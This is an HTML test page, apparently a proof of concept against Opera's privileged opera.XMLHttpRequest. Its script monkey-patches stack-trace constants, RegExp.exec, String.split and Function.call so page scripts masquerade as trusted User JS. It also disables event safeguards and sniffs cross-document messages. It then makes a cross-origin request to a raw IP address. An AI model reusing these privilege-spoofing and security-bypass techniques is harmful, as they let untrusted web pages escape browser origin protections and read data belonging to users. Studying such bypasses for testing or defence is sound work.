<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="pt">
<head>

  <title>opera.XMLHttpRequest test</title>
  <!-- saved from url=(0013)about:internet -->
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

  <style type="text/css" media="all">
  </style>


</head>

<body id="opera-xmlhttp-test">
<h3 id="fff" style="display:none">finitto</h3>
	<textarea id="t1" style="width:100%;height:10em;"></textarea><br/>
	<textarea id="t2" style="width:100%;height:10em;"></textarea><br/>
	<textarea id="t3" style="width:100%;height:10em;"></textarea><br/>
	<textarea id="t4" style="width:100%;height:10em;"></textarea><br/>
	<textarea id="crap" style="width:100%;height:10em;"></textarea><br/>

  <script type="text/javascript">
	//testsuite - put this piece of script in a user js file

	//possible way to override the script security

	//preventing BeforeEvent listeners
	opera.addEventListener = function(){};

	//constants
	(function(){
		var st = opera.getStackTrace();
		if(st[0]){
			st[0].constructor.INLINE = st[0].constructor.USERJS;
			st[0].constructor.EVAL = st[0].constructor.USERJS;
			st[0].constructor.LINKED = st[0].constructor.USERJS;
			st[0].constructor.UNKNOWN = st[0].constructor.USERJS;
		}
	})();


	//sniffing inter-document data traffic
	document.getElementById('crap').value = '';
	document.addEventListener('message',function(ev){
		document.getElementById('crap').value += ev.data+'\n\n';
	},false);

	//override RegExp matching for stacktrace building
	(function(oldExec){
		RegExp.prototype.exec = function(){
			var ret = oldExec.apply(this,arguments);
			RegExp.$2 = 'User JS';
			return ret;
		}
	})(RegExp.prototype.exec);

	//pretend that a exception was fired solely from a User JS
	(function(oldSplit){
		String.prototype.split = function(needle){
			return oldSplit.call( this.replace(/inline#\d+|linked|eval|unknown/g,'User JS') ,needle);
		}
	})(String.prototype.split);

	//tricky hacking of Function.call to override stacktrace studd
	(function(oldCall){
		Function.prototype.call = function(){
			if( typeof arguments[0] == 'string' ){
				arguments[0] = arguments[0].replace(/inline#\d+|linked|eval|unknown/g,'User JS')
				return oldCall.apply(this,arguments);
			}
			else
				return oldCall.apply(this,arguments);
		}
	})( Function.prototype.call );


	//(function(oldPrev){
		Event.prototype.preventDefault = function(){}
	//})(Event.prototype.preventDefault);

	function xml(node){
		return (node && node.nodeType) ? new XMLSerializer().serializeToString(node):'('+node+')';
	}
	//try to use the object !
	addEventListener('load',function(){

		var b = document.getElementById('opera-xmlhttp-test');
		if( !b || !(b instanceof HTMLBodyElement) )
			return;

		var xmlhttp = new opera.XMLHttpRequest();
		function safecall(obj,f){
			if(typeof f == 'string' )
				f = obj[f];

			if(typeof f == 'function' )
				try{
					return f.apply(obj, [].slice.call(arguments,2));
				}catch(ex){}
		};
		xmlhttp.onreadystatechange = function(){
			var s = ''+this+'\n';
			s += 'readyState: '+this.readyState+'\n';
			s += 'status: '+this.status+'\n';
			s += 'statusText: '+this.statusText+'\n\n';
			s += 'allheaders: '+safecall(this,'getAllResponseHeaders')+'\n\n';
			s += 'responseText: '+this.responseText+'\n\n';
			s += 'responseXML: '+xml(this.responseXML)+'\n\n';
			document.getElementById('t'+this.readyState).value = s;
		}
		xmlhttp.onload = function(){
			document.getElementById('fff').style.display = '';
		}

		xmlhttp.open('GET','http://92.63.103.97/ip',true);
		xmlhttp.send('a=b&c=d');

	},false);

</script>


</body>

</html>
